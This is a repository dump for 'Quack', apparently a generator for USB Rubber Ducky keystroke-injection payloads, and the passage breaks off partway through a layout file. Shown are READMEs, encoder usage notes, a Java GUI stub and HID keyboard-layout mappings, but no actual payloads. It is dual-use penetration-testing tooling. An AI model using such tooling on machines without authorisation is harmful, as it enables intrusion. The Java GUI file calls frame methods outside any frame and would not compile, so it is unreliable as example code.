├── Encoder ├── .gitattributes ├── encoder.jar ├── resources │ ├── fr.properties │ ├── ru.properties │ ├── keyboard.properties │ ├── fi.properties │ ├── br.properties │ ├── us.properties │ ├── tr.properties │ ├── it.properties │ ├── hr.properties │ ├── si.properties │ ├── es.properties │ ├── be.properties │ ├── gb.properties │ ├── pt.properties │ ├── ca.properties │ ├── de.properties │ ├── ch.properties │ ├── sv.properties │ ├── dk.properties │ └── no.properties ├── README └── src │ ├── Encoder_GUI.java │ └── Encoder.java ├── .gitattributes ├── duckencoder.jar ├── README.md └── quack.py /Encoder/.gitattributes: -------------------------------------------------------------------------------- 1 | linguist-language=Python 2 | -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | linguist-language=Python 2 | linguist-language=Python 3 | -------------------------------------------------------------------------------- /duckencoder.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/filipherle/Quack/HEAD/duckencoder.jar -------------------------------------------------------------------------------- /Encoder/encoder.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/filipherle/Quack/HEAD/Encoder/encoder.jar -------------------------------------------------------------------------------- /Encoder/resources/fr.properties: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/filipherle/Quack/HEAD/Encoder/resources/fr.properties -------------------------------------------------------------------------------- /Encoder/resources/ru.properties: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/filipherle/Quack/HEAD/Encoder/resources/ru.properties -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Quack 2 | Automatic Ducky Payload Generator 3 | 4 | ## Introduction 5 | 6 | The __Rubber ducky__ is a great suite for penetration testing. However, I tend to find it a hassle to create a payload, and created this project in order to automate that process. 7 | 8 | ### Donations? 9 | #### www.paypal.me/toxicnull 10 | 11 | ## Dependencies 12 | 13 | * A USB Rubber ducky 14 | * Python 2.7.x 15 | * Git 16 | 17 | ## Download & Installation 18 | 19 | Get the repository off of Github by cloning it: 20 | 21 | git clone https://github.com/toxic-ig/Quack 22 | 23 | Change into the quack directory: 24 | 25 | cd /path/to/quack 26 | 27 | Execute with python: 28 | 29 | python quack.py 30 | 31 | The generated payload will be in the same directory as quack. 32 | 33 | ## Issues? 34 | 35 | If you have any issues regarding the source code of this framework, as well as any errors you have encountered, please contact me at 36 | 37 | Twitter: @toxicnull 38 | -------------------------------------------------------------------------------- /Encoder/README: -------------------------------------------------------------------------------- 1 | This new version allows you to use alternative layout. It supports ASCII, ISO-8859-1 and unicode. 2 | 3 | $java -jar duckencode.jar -i script.txt -o inject.bin -l fr 4 | or 5 | $java -jar duckencode.jar -i script.txt -o inject.bin -l resources/mylayout.properties 6 | 7 | ---------- 8 | 9 | Hak5 Duck Encoder 2.6.3 10 | 11 | usage: duckencode -i [file ..] encode specified file 12 | or: duckencode -i [file ..] -o [file ..] encode to specified file 13 | 14 | Arguments: 15 | -i [file ..] Input File 16 | -o [file ..] Output File 17 | -l [file ..] Keyboard Layout (us/uk/fr/pt or a path to a properties file) 18 | 19 | Script Commands: 20 | ALT [key name] (ex: ALT F4, ALT SPACE) 21 | ALT-SHIFT (Input Lanugage Swap) 22 | CTRL | CONTROL [key name] (ex: CTRL ESC) 23 | CTRL-ALT [key name] (ex: CTRL-ALT DEL) 24 | CTRL-SHIFT [key name] (ex: CTRL-SHIFT ESC) 25 | DEFAULT_DELAY | DEFAULTDELAY [Time in millisecond * 10] (change the delay between each command) 26 | DELAY [Time in millisecond * 10] (used to overide temporary the default delay) 27 | COMMAND | COMMAND [key] (For OSX Users ex: COMMAND SPACE) 28 | GUI | WINDOWS [key name] (ex: GUI r, GUI l) 29 | REM [anything] (used to comment your code, no obligation :) ) 30 | SHIFT [key name] (ex: SHIFT DEL) 31 | REPEAT [Number] (Repeat last command N times) 32 | STRING [any character of your layout] 33 | [key name] (anything in the keyboard.properties) 34 | 35 | Note: 36 | Getting strange behaviour with GUI to open windows-menu, WINDOWS appears to work ok (but GUI maps to WINDOWS), strange? 37 | -------------------------------------------------------------------------------- /Encoder/src/Encoder_GUI.java: -------------------------------------------------------------------------------- 1 | import java.awt.*; 2 | import java.awt.event.*; 3 | import javax.swing.*; 4 | import javax.swing.JMenu; 5 | import javax.swing.JMenuBar; 6 | import javax.swing.JMenuItem; 7 | 8 | public class Encoder_GUI{ 9 | 10 | private static void createAndShowGUI() { 11 | //Create and set up the window. 12 | JFrame frame = new JFrame("Duck Encoder"); 13 | frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 14 | 15 | JLabel emptyLabel = new JLabel(""); 16 | emptyLabel.setPreferredSize(new Dimension(400, 400)); 17 | frame.getContentPane().add(emptyLabel, BorderLayout.CENTER); 18 | 19 | //Display the window. 20 | frame.pack(); 21 | frame.setVisible(true); 22 | 23 | JMenuBar menubar = new JMenuBar(); 24 | JMenu file = new JMenu("File"); 25 | JMenuItem eMenuItem = new JMenuItem("Exit"); 26 | eMenuItem.setMnemonic(KeyEvent.VK_C); 27 | eMenuItem.setToolTipText("Exit application"); 28 | eMenuItem.addActionListener(new ActionListener() { 29 | public void actionPerformed(ActionEvent event) { 30 | System.exit(0); 31 | } 32 | 33 | }); 34 | 35 | file.add(eMenuItem); 36 | 37 | menubar.add(file); 38 | 39 | setJMenuBar(menubar); 40 | 41 | setTitle("Simple menu"); 42 | setSize(300, 200); 43 | setLocationRelativeTo(null); 44 | setDefaultCloseOperation(EXIT_ON_CLOSE); 45 | } 46 | 47 | public static void main(String[] args) { 48 | //Schedule a job for the event-dispatching thread: 49 | //creating and showing this application's GUI. 50 | javax.swing.SwingUtilities.invokeLater(new Runnable() { 51 | public void run() { 52 | createAndShowGUI(); 53 | } 54 | }); 55 | } 56 | } -------------------------------------------------------------------------------- /Encoder/resources/keyboard.properties: -------------------------------------------------------------------------------- 1 | //default keys 2 | MODIFIERKEY_CTRL = 0x01 3 | MODIFIERKEY_SHIFT = 0x02 4 | MODIFIERKEY_ALT = 0x04 5 | MODIFIERKEY_GUI = 0x08 6 | MODIFIERKEY_LEFT_CTRL = 0x01 7 | MODIFIERKEY_LEFT_SHIFT = 0x02 8 | MODIFIERKEY_LEFT_ALT = 0x04 9 | MODIFIERKEY_LEFT_GUI = 0x08 10 | MODIFIERKEY_RIGHT_CTRL = 0x10 11 | MODIFIERKEY_RIGHT_SHIFT= 0x20 12 | MODIFIERKEY_RIGHT_ALT = 0x40 13 | MODIFIERKEY_RIGHT_GUI = 0x80 14 | 15 | KEY_MEDIA_VOLUME_INC = 0x80 16 | KEY_MEDIA_VOLUME_DEC = 0x81 17 | KEY_MEDIA_MUTE = 0x7F 18 | KEY_MEDIA_PLAY_PAUSE = 0x08 19 | KEY_MEDIA_NEXT_TRACK = 0x10 20 | KEY_MEDIA_PREV_TRACK = 0x20 21 | //KEY_MEDIA_STOP = 0x40 22 | //KEY_MEDIA_EJECT = 0x80 23 | 24 | KEY_A = 4 25 | KEY_B = 5 26 | KEY_C = 6 27 | KEY_D = 7 28 | KEY_E = 8 29 | KEY_F = 9 30 | KEY_G = 10 31 | KEY_H = 11 32 | KEY_I = 12 33 | KEY_J = 13 34 | KEY_K = 14 35 | KEY_L = 15 36 | KEY_M = 16 37 | KEY_N = 17 38 | KEY_O = 18 39 | KEY_P = 19 40 | KEY_Q = 20 41 | KEY_R = 21 42 | KEY_S = 22 43 | KEY_T = 23 44 | KEY_U = 24 45 | KEY_V = 25 46 | KEY_W = 26 47 | KEY_X = 27 48 | KEY_Y = 28 49 | KEY_Z = 29 50 | KEY_1 = 30 51 | KEY_2 = 31 52 | KEY_3 = 32 53 | KEY_4 = 33 54 | KEY_5 = 34 55 | KEY_6 = 35 56 | KEY_7 = 36 57 | KEY_8 = 37 58 | KEY_9 = 38 59 | KEY_0 = 39 60 | KEY_ENTER = 40 61 | KEY_ESC = 41 62 | KEY_BACKSPACE = 42 63 | KEY_TAB = 43 64 | KEY_SPACE = 44 65 | KEY_MINUS = 45 66 | KEY_EQUAL = 46 67 | KEY_LEFT_BRACE = 47 68 | KEY_RIGHT_BRACE = 48 69 | KEY_BACKSLASH = 49 70 | KEY_NON_US_NUM = 50 71 | KEY_SEMICOLON = 51 72 | KEY_QUOTE = 52 73 | KEY_TILDE = 53 74 | KEY_COMMA = 54 75 | KEY_PERIOD = 55 76 | KEY_SLASH = 56 77 | KEY_CAPS_LOCK = 57 78 | KEY_F1 = 58 79 | KEY_F2 = 59 80 | KEY_F3 = 60 81 | KEY_F4 = 61 82 | KEY_F5 = 62 83 | KEY_F6 = 63 84 | KEY_F7 = 64 85 | KEY_F8 = 65 86 | KEY_F9 = 66 87 | KEY_F10 = 67 88 | KEY_F11 = 68 89 | KEY_F12 = 69 90 | KEY_PRINTSCREEN = 70 91 | KEY_SCROLL_LOCK = 71 92 | KEY_PAUSE = 72 93 | KEY_INSERT = 73 94 | KEY_HOME = 74 95 | KEY_PAGEUP = 75 96 | KEY_DELETE = 76 97 | KEY_END = 77 98 | KEY_PAGEDOWN = 78 99 | KEY_RIGHT = 79 100 | KEY_LEFT = 80 101 | KEY_DOWN = 81 102 | KEY_UP = 82 103 | KEY_NUM_LOCK = 83 104 | KEYPAD_SLASH = 84 105 | KEYPAD_ASTERIX = 85 106 | KEYPAD_MINUS = 86 107 | KEYPAD_PLUS = 87 108 | KEYPAD_ENTER = 88 109 | KEYPAD_EQUALS = 103 110 | KEYPAD_1 = 89 111 | KEYPAD_2 = 90 112 | KEYPAD_3 = 91 113 | KEYPAD_4 = 92 114 | KEYPAD_5 = 93 115 | KEYPAD_6 = 94 116 | KEYPAD_7 = 95 117 | KEYPAD_8 = 96 118 | KEYPAD_9 = 97 119 | KEYPAD_0 = 98 120 | KEYPAD_PERIOD = 99 121 | 122 | KEY_APP = 0x65 123 | KEY_POWER = 0x66 124 | KEY_EXE = 0x74 125 | KEY_HELP = 0x75 126 | KEY_MENU = 0x76 127 | KEY_SELECT = 0x77 128 | KEY_STOP = 0x78 129 | KEY_AGAIN = 0x79 130 | KEY_UNDO = 0x7A 131 | KEY_CUT = 0x7B 132 | KEY_COPY = 0x7C 133 | KEY_PASTE = 0x7D 134 | KEY_FIND = 0x7E 135 | 136 | KEY_SYSTEM_POWER = 0x81 137 | KEY_SYSTEM_SLEEP = 0x82 138 | KEY_SYSTEM_WAKE = 0x83 139 | 140 | KEYPAD_PIPE = 0xC9 141 | 142 | KEY_LEFT_CTRL = 0xE0 143 | KEY_LEFT_SHIFT = 0xE1 144 | KEY_LEFT_ALT = 0xE2 145 | KEY_LEFT_GUI = 0xE3 146 | KEY_COMMAND = 0xE3 147 | KEY_RIGHT_CTRL = 0xE4 148 | KEY_RIGHT_SHIFT= 0xE5 149 | KEY_RIGHT_ALT = 0xE6 150 | KEY_RIGHT_GUI = 0xE7 151 | -------------------------------------------------------------------------------- /Encoder/resources/fi.properties: -------------------------------------------------------------------------------- 1 | //LANGUAGE_FINLAND 2 | //translation: ziolity (01/08/2014) 3 | KEY_NON_US_100 = 100 4 | ISO_8859_1_A7 = KEY_TILDE 5 | ASCII_20 = KEY_SPACE 6 | ASCII_30 = KEY_0 7 | ASCII_31 = KEY_1 8 | ASCII_32 = KEY_2 9 | ASCII_33 = KEY_3 10 | ASCII_34 = KEY_4 11 | ASCII_35 = KEY_5 12 | ASCII_36 = KEY_6 13 | ASCII_37 = KEY_7 14 | ASCII_38 = KEY_8 15 | ASCII_39 = KEY_9 16 | ASCII_2B = KEY_MINUS 17 | ISO_8859_1_B4 = KEY_EQUAL 18 | ASCII_71 = KEY_Q 19 | ASCII_77 = KEY_W 20 | ASCII_65 = KEY_E 21 | ASCII_72 = KEY_R 22 | ASCII_74 = KEY_T 23 | ASCII_79 = KEY_Y 24 | ASCII_75 = KEY_U 25 | ASCII_69 = KEY_I 26 | ASCII_6F = KEY_O 27 | ASCII_70 = KEY_P 28 | ASCII_61 = KEY_A 29 | ISO_8859_1_E4 = KEY_RIGHT_BRACE 30 | ASCII_73 = KEY_S 31 | ASCII_64 = KEY_D 32 | ASCII_66 = KEY_F 33 | ASCII_67 = KEY_G 34 | ASCII_68 = KEY_H 35 | ASCII_6A = KEY_J 36 | ASCII_6B = KEY_K 37 | ASCII_6C = KEY_L 38 | ISO_8859_1_F6 = KEY_SEMICOLON 39 | ISO_8859_1_E4 = KEY_QUOTE 40 | ASCII_27 = KEY_BACKSLASH 41 | ASCII_3C = KEY_NON_US_100 42 | ASCII_7A = KEY_Z 43 | ASCII_78 = KEY_X 44 | ASCII_63 = KEY_C 45 | ASCII_76 = KEY_V 46 | ASCII_62 = KEY_B 47 | ASCII_6E = KEY_N 48 | ASCII_6D = KEY_M 49 | ASCII_2C = KEY_COMMA 50 | ASCII_2E = KEY_PERIOD 51 | ASCII_2D = KEY_SLASH 52 | ASCII_21 = KEY_1, MODIFIERKEY_SHIFT 53 | ASCII_22 = KEY_2, MODIFIERKEY_SHIFT 54 | ASCII_23 = KEY_3, MODIFIERKEY_SHIFT 55 | ISO_8859_1_A4 = KEY_4, MODIFIERKEY_SHIFT 56 | ASCII_25 = KEY_5, MODIFIERKEY_SHIFT 57 | ASCII_26 = KEY_6, MODIFIERKEY_SHIFT 58 | ASCII_2F = KEY_7, MODIFIERKEY_SHIFT 59 | ASCII_28 = KEY_8, MODIFIERKEY_SHIFT 60 | ASCII_29 = KEY_9, MODIFIERKEY_SHIFT 61 | ASCII_3D = KEY_0, MODIFIERKEY_SHIFT 62 | ASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT 63 | ASCII_60 = KEY_EQUAL, MODIFIERKEY_SHIFT 64 | ASCII_51 = KEY_Q, MODIFIERKEY_SHIFT 65 | ASCII_57 = KEY_W, MODIFIERKEY_SHIFT 66 | ASCII_45 = KEY_E, MODIFIERKEY_SHIFT 67 | ASCII_52 = KEY_R, MODIFIERKEY_SHIFT 68 | ASCII_54 = KEY_T, MODIFIERKEY_SHIFT 69 | ASCII_59 = KEY_Y, MODIFIERKEY_SHIFT 70 | ASCII_55 = KEY_U, MODIFIERKEY_SHIFT 71 | ASCII_49 = KEY_I, MODIFIERKEY_SHIFT 72 | ASCII_4F = KEY_O, MODIFIERKEY_SHIFT 73 | ASCII_50 = KEY_P, MODIFIERKEY_SHIFT 74 | ASCII_41 = KEY_A, MODIFIERKEY_SHIFT 75 | ASCII_5E = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT 76 | ASCII_53 = KEY_S, MODIFIERKEY_SHIFT 77 | ASCII_44 = KEY_D, MODIFIERKEY_SHIFT 78 | ASCII_46 = KEY_F, MODIFIERKEY_SHIFT 79 | ASCII_47 = KEY_G, MODIFIERKEY_SHIFT 80 | ASCII_48 = KEY_H, MODIFIERKEY_SHIFT 81 | ASCII_4A = KEY_J, MODIFIERKEY_SHIFT 82 | ASCII_4B = KEY_K, MODIFIERKEY_SHIFT 83 | ASCII_4C = KEY_L, MODIFIERKEY_SHIFT 84 | ISO_8859_1_D6 = KEY_SEMICOLON, MODIFIERKEY_SHIFT 85 | ISO_8859_1_C4 = KEY_QUOTE, MODIFIERKEY_SHIFT 86 | ASCII_2A = KEY_BACKSLASH, MODIFIERKEY_SHIFT 87 | ASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT 88 | ASCII_5A = KEY_Z, MODIFIERKEY_SHIFT 89 | ASCII_58 = KEY_X, MODIFIERKEY_SHIFT 90 | ASCII_43 = KEY_C, MODIFIERKEY_SHIFT 91 | ASCII_56 = KEY_V, MODIFIERKEY_SHIFT 92 | ASCII_42 = KEY_B, MODIFIERKEY_SHIFT 93 | ASCII_4E = KEY_N, MODIFIERKEY_SHIFT 94 | ASCII_4D = KEY_M, MODIFIERKEY_SHIFT 95 | ASCII_3B = KEY_COMMA, MODIFIERKEY_SHIFT 96 | ASCII_3A = KEY_PERIOD, MODIFIERKEY_SHIFT 97 | ASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT 98 | ASCII_40 = KEY_2, MODIFIERKEY_RIGHT_ALT 99 | ASCII_4C = KEY_L, MODIFIERKEY_SHIFT 100 | ASCII_24 = KEY_4, MODIFIERKEY_RIGHT_ALT 101 | UNICODE_20AC = KEY_E, MODIFIERKEY_RIGHT_ALT 102 | ASCII_7B = KEY_7, MODIFIERKEY_RIGHT_ALT 103 | ASCII_5B = KEY_8, MODIFIERKEY_RIGHT_ALT 104 | ASCII_5D = KEY_9, MODIFIERKEY_RIGHT_ALT 105 | ASCII_7D = KEY_0, MODIFIERKEY_RIGHT_ALT 106 | ASCII_5C = KEY_MINUS, MODIFIERKEY_RIGHT_ALT 107 | ASCII_7E = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT 108 | ASCII_7C = KEY_NON_US_100, MODIFIERKEY_RIGHT_ALT 109 | ISO_8859_1_B5 = KEY_M, MODIFIERKEY_RIGHT_ALT -------------------------------------------------------------------------------- /Encoder/resources/br.properties: -------------------------------------------------------------------------------- 1 | //LAYOUT_PORTUGUESE (BRAZIL) - http://ascii-table.com/keyboard.php/275 2 | //Updated by TheZakMan / @thezakman / thezakman.tumblr.com (20/10/2014) 3 | 4 | KEY_NON_US_100 = 100 5 | 6 | // a b c d e f g h i j k l m n o p r s t u v z x y q ç 7 | ASCII_20 = KEY_SPACE 8 | ASCII_61 = KEY_A 9 | ASCII_62 = KEY_B 10 | ASCII_63 = KEY_C 11 | ASCII_64 = KEY_D 12 | ASCII_65 = KEY_E 13 | ASCII_66 = KEY_F 14 | ASCII_67 = KEY_G 15 | ASCII_68 = KEY_H 16 | ASCII_69 = KEY_I 17 | ASCII_6A = KEY_J 18 | ASCII_6B = KEY_K 19 | ASCII_6C = KEY_L 20 | ASCII_6D = KEY_M 21 | ASCII_6E = KEY_N 22 | ASCII_6F = KEY_O 23 | ASCII_70 = KEY_P 24 | ASCII_72 = KEY_R 25 | ASCII_73 = KEY_S 26 | ASCII_74 = KEY_T 27 | ASCII_75 = KEY_U 28 | ASCII_76 = KEY_V 29 | ASCII_7A = KEY_Z 30 | ASCII_78 = KEY_X 31 | ASCII_77 = KEY_W 32 | ASCII_79 = KEY_Y 33 | ASCII_71 = KEY_Q 34 | //ç 35 | ISO_8859_1_E7 = KEY_SEMICOLON 36 | 37 | // A B C D E F G H I J K L M N O P R S T U V Z X Y Q Ç 38 | ASCII_41 = KEY_A, MODIFIERKEY_SHIFT 39 | ASCII_42 = KEY_B, MODIFIERKEY_SHIFT 40 | ASCII_43 = KEY_C, MODIFIERKEY_SHIFT 41 | ASCII_44 = KEY_D, MODIFIERKEY_SHIFT 42 | ASCII_45 = KEY_E, MODIFIERKEY_SHIFT 43 | ASCII_46 = KEY_F, MODIFIERKEY_SHIFT 44 | ASCII_47 = KEY_G, MODIFIERKEY_SHIFT 45 | ASCII_48 = KEY_H, MODIFIERKEY_SHIFT 46 | ASCII_49 = KEY_I, MODIFIERKEY_SHIFT 47 | ASCII_4A = KEY_J, MODIFIERKEY_SHIFT 48 | ASCII_4B = KEY_K, MODIFIERKEY_SHIFT 49 | ASCII_4C = KEY_L, MODIFIERKEY_SHIFT 50 | ASCII_4D = KEY_M, MODIFIERKEY_SHIFT 51 | ASCII_4E = KEY_N, MODIFIERKEY_SHIFT 52 | ASCII_4F = KEY_O, MODIFIERKEY_SHIFT 53 | ASCII_50 = KEY_P, MODIFIERKEY_SHIFT 54 | ASCII_52 = KEY_R, MODIFIERKEY_SHIFT 55 | ASCII_53 = KEY_S, MODIFIERKEY_SHIFT 56 | ASCII_54 = KEY_T, MODIFIERKEY_SHIFT 57 | ASCII_55 = KEY_U, MODIFIERKEY_SHIFT 58 | ASCII_56 = KEY_V, MODIFIERKEY_SHIFT 59 | ASCII_5A = KEY_Z, MODIFIERKEY_SHIFT 60 | ASCII_57 = KEY_W, MODIFIERKEY_SHIFT 61 | ASCII_58 = KEY_X, MODIFIERKEY_SHIFT 62 | ASCII_59 = KEY_Y, MODIFIERKEY_SHIFT 63 | ASCII_51 = KEY_Q, MODIFIERKEY_SHIFT 64 | //Ç 65 | 66 | ISO_8859_1_C7 = KEY_SEMICOLON, MODIFIERKEY_SHIFT 67 | // Simbolos // ' ! @ # $ % & * ( ) _ + " - = / ? ° [ ] { } \ , . ; < > : 68 | ASCII_27 = KEY_TILDE 69 | ASCII_21 = KEY_1, MODIFIERKEY_SHIFT 70 | ASCII_40 = KEY_2, MODIFIERKEY_SHIFT 71 | ASCII_23 = KEY_3, MODIFIERKEY_SHIFT 72 | ASCII_24 = KEY_4, MODIFIERKEY_SHIFT 73 | ASCII_25 = KEY_5, MODIFIERKEY_SHIFT 74 | ASCII_26 = KEY_7, MODIFIERKEY_SHIFT 75 | ASCII_2A = KEY_8, MODIFIERKEY_SHIFT 76 | ASCII_28 = KEY_9, MODIFIERKEY_SHIFT 77 | ASCII_29 = KEY_0, MODIFIERKEY_SHIFT 78 | ASCII_5F = KEY_MINUS, MODIFIERKEY_SHIFT 79 | ASCII_2B = KEY_EQUAL, MODIFIERKEY_SHIFT 80 | ASCII_22 = KEY_TILDE, MODIFIERKEY_SHIFT 81 | ASCII_2D = KEY_MINUS 82 | ASCII_3D = KEY_EQUAL 83 | ASCII_2F = KEY_Q, MODIFIERKEY_RIGHT_ALT 84 | ASCII_3F = KEY_W, MODIFIERKEY_RIGHT_ALT 85 | ISO_8859_1_B0 = KEY_E, MODIFIERKEY_RIGHT_ALT 86 | ASCII_5B = KEY_RIGHT_BRACE 87 | ASCII_5D = KEY_BACKSLASH 88 | ASCII_7B = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT 89 | ASCII_7D = KEY_BACKSLASH, MODIFIERKEY_SHIFT 90 | ASCII_5C = KEY_NON_US_100 91 | ASCII_2C = KEY_COMMA 92 | ASCII_2E = KEY_PERIOD 93 | ASCII_3B = KEY_SLASH 94 | ASCII_3C = KEY_COMMA, MODIFIERKEY_SHIFT 95 | ASCII_3E = KEY_PERIOD, MODIFIERKEY_SHIFT 96 | ASCII_3A = KEY_SLASH, MODIFIERKEY_SHIFT 97 | 98 | 99 | 100 | 101 | 102 | 103 | // Other symbols // input: § ´ ~ | ^ ` output: § ´~| ^` (notice some space missing!) 104 | 105 | //ACENTOS (SPECIAL SYMBOLS) 106 | ISO_8859_1_A7 = KEY_EQUAL, MODIFIERKEY_RIGHT_ALT 107 | ISO_8859_1_B4 = KEY_LEFT_BRACE 108 | ASCII_7E = KEY_QUOTE 109 | ASCII_7C = KEY_NON_US_100, MODIFIERKEY_SHIFT 110 | ASCII_5E = KEY_QUOTE, MODIFIERKEY_SHIFT 111 | ASCII_60 = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT 112 | 113 | 114 | // NUMEROS (NUMBERS) 115 | 116 | // 48 0 117 | ASCII_30 = KEY_0 118 | // 49 1 119 | ASCII_31 = KEY_1 120 | // 50 2 121 | ASCII_32 = KEY_2 122 | // 51 3 123 | ASCII_33 = KEY_3 124 | // 52 4 125 | ASCII_34 = KEY_4 126 | // 53 5 127 | ASCII_35 = KEY_5 128 | // 54 6 129 | ASCII_36 = KEY_6 130 | // 55 7 131 | ASCII_37 = KEY_7 132 | // 55 8 133 | ASCII_38 = KEY_8 134 | // 57 9 135 | ASCII_39 = KEY_9 -------------------------------------------------------------------------------- /Encoder/resources/us.properties: -------------------------------------------------------------------------------- 1 | // US layout 2 | 3 | // 32 4 | ASCII_20 = KEY_SPACE 5 | // 33 ! 6 | ASCII_21 = KEY_1, MODIFIERKEY_SHIFT 7 | // 34 " 8 | ASCII_22 = KEY_QUOTE, MODIFIERKEY_SHIFT 9 | // 35 # 10 | ASCII_23 = KEY_3, MODIFIERKEY_SHIFT 11 | // 36 $ 12 | ASCII_24 = KEY_4, MODIFIERKEY_SHIFT 13 | // 37 % 14 | ASCII_25 = KEY_5, MODIFIERKEY_SHIFT 15 | // 38 & 16 | ASCII_26 = KEY_7, MODIFIERKEY_SHIFT 17 | // 39 ' 18 | ASCII_27 = KEY_QUOTE 19 | // 40 ( 20 | ASCII_28 = KEY_9, MODIFIERKEY_SHIFT 21 | // 41 ) 22 | ASCII_29 = KEY_0, MODIFIERKEY_SHIFT 23 | // 42 * 24 | ASCII_2A = KEY_8, MODIFIERKEY_SHIFT 25 | // 43 + 26 | ASCII_2B = KEY_EQUAL, MODIFIERKEY_SHIFT 27 | // 44 , 28 | ASCII_2C = KEY_COMMA 29 | // 45 - 30 | ASCII_2D = KEY_MINUS 31 | // 46 . 32 | ASCII_2E = KEY_PERIOD 33 | // 47 / 34 | ASCII_2F = KEY_SLASH 35 | // 48 0 36 | ASCII_30 = KEY_0 37 | // 49 1 38 | ASCII_31 = KEY_1 39 | // 50 2 40 | ASCII_32 = KEY_2 41 | // 51 3 42 | ASCII_33 = KEY_3 43 | // 52 4 44 | ASCII_34 = KEY_4 45 | // 53 5 46 | ASCII_35 = KEY_5 47 | // 54 6 48 | ASCII_36 = KEY_6 49 | // 55 7 50 | ASCII_37 = KEY_7 51 | // 55 8 52 | ASCII_38 = KEY_8 53 | // 57 9 54 | ASCII_39 = KEY_9 55 | // 58 : 56 | ASCII_3A = KEY_SEMICOLON, MODIFIERKEY_SHIFT 57 | // 59 ; 58 | ASCII_3B = KEY_SEMICOLON 59 | // 60 < 60 | ASCII_3C = KEY_COMMA, MODIFIERKEY_SHIFT 61 | // 61 = 62 | ASCII_3D = KEY_EQUAL 63 | // 62 > 64 | ASCII_3E = KEY_PERIOD, MODIFIERKEY_SHIFT 65 | // 63 ? 66 | ASCII_3F = KEY_SLASH, MODIFIERKEY_SHIFT 67 | // 64 @ 68 | ASCII_40 = KEY_2, MODIFIERKEY_SHIFT 69 | // 65 A 70 | ASCII_41 = KEY_A, MODIFIERKEY_SHIFT 71 | // 66 B 72 | ASCII_42 = KEY_B, MODIFIERKEY_SHIFT 73 | // 67 C 74 | ASCII_43 = KEY_C, MODIFIERKEY_SHIFT 75 | // 68 D 76 | ASCII_44 = KEY_D, MODIFIERKEY_SHIFT 77 | // 69 E 78 | ASCII_45 = KEY_E, MODIFIERKEY_SHIFT 79 | // 70 F 80 | ASCII_46 = KEY_F, MODIFIERKEY_SHIFT 81 | // 71 G 82 | ASCII_47 = KEY_G, MODIFIERKEY_SHIFT 83 | // 72 H 84 | ASCII_48 = KEY_H, MODIFIERKEY_SHIFT 85 | // 73 I 86 | ASCII_49 = KEY_I, MODIFIERKEY_SHIFT 87 | // 74 J 88 | ASCII_4A = KEY_J, MODIFIERKEY_SHIFT 89 | // 75 K 90 | ASCII_4B = KEY_K, MODIFIERKEY_SHIFT 91 | // 76 L 92 | ASCII_4C = KEY_L, MODIFIERKEY_SHIFT 93 | // 77 M 94 | ASCII_4D = KEY_M, MODIFIERKEY_SHIFT 95 | // 78 N 96 | ASCII_4E = KEY_N, MODIFIERKEY_SHIFT 97 | // 79 O 98 | ASCII_4F = KEY_O, MODIFIERKEY_SHIFT 99 | // 80 P 100 | ASCII_50 = KEY_P, MODIFIERKEY_SHIFT 101 | // 81 Q 102 | ASCII_51 = KEY_Q, MODIFIERKEY_SHIFT 103 | // 82 R 104 | ASCII_52 = KEY_R, MODIFIERKEY_SHIFT 105 | // 83 S 106 | ASCII_53 = KEY_S, MODIFIERKEY_SHIFT 107 | // 84 T 108 | ASCII_54 = KEY_T, MODIFIERKEY_SHIFT 109 | // 85 U 110 | ASCII_55 = KEY_U, MODIFIERKEY_SHIFT 111 | // 86 V 112 | ASCII_56 = KEY_V, MODIFIERKEY_SHIFT 113 | // 87 W 114 | ASCII_57 = KEY_W, MODIFIERKEY_SHIFT 115 | // 88 X 116 | ASCII_58 = KEY_X, MODIFIERKEY_SHIFT 117 | // 89 Y 118 | ASCII_59 = KEY_Y, MODIFIERKEY_SHIFT 119 | // 90 Z 120 | ASCII_5A = KEY_Z, MODIFIERKEY_SHIFT 121 | // 91 [ 122 | ASCII_5B = KEY_LEFT_BRACE 123 | // 92 124 | ASCII_5C = KEY_BACKSLASH 125 | // 93 ] 126 | ASCII_5D = KEY_RIGHT_BRACE 127 | // 94 ^ 128 | ASCII_5E = KEY_6, MODIFIERKEY_SHIFT 129 | // 95 _ 130 | ASCII_5F = KEY_MINUS, MODIFIERKEY_SHIFT 131 | // 96 ` 132 | ASCII_60 = KEY_TILDE 133 | // 97 a 134 | ASCII_61 = KEY_A 135 | // 98 b 136 | ASCII_62 = KEY_B 137 | // 99 c 138 | ASCII_63 = KEY_C 139 | // 100 d 140 | ASCII_64 = KEY_D 141 | // 101 e 142 | ASCII_65 = KEY_E 143 | // 102 f 144 | ASCII_66 = KEY_F 145 | // 103 g 146 | ASCII_67 = KEY_G 147 | // 104 h 148 | ASCII_68 = KEY_H 149 | // 105 i 150 | ASCII_69 = KEY_I 151 | // 106 j 152 | ASCII_6A = KEY_J 153 | // 107 k 154 | ASCII_6B = KEY_K 155 | // 108 l 156 | ASCII_6C = KEY_L 157 | // 109 m 158 | ASCII_6D = KEY_M 159 | // 110 n 160 | ASCII_6E = KEY_N 161 | // 111 o 162 | ASCII_6F = KEY_O 163 | // 112 p 164 | ASCII_70 = KEY_P 165 | // 113 q 166 | ASCII_71 = KEY_Q 167 | // 114 r 168 | ASCII_72 = KEY_R 169 | // 115 s 170 | ASCII_73 = KEY_S 171 | // 116 t 172 | ASCII_74 = KEY_T 173 | // 117 u 174 | ASCII_75 = KEY_U 175 | // 118 v 176 | ASCII_76 = KEY_V 177 | // 119 w 178 | ASCII_77 = KEY_W 179 | // 120 x 180 | ASCII_78 = KEY_X 181 | // 121 y 182 | ASCII_79 = KEY_Y 183 | // 122 z 184 | ASCII_7A = KEY_Z 185 | // 123 { 186 | ASCII_7B = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT 187 | // 124 | 188 | ASCII_7C = KEY_BACKSLASH, MODIFIERKEY_SHIFT 189 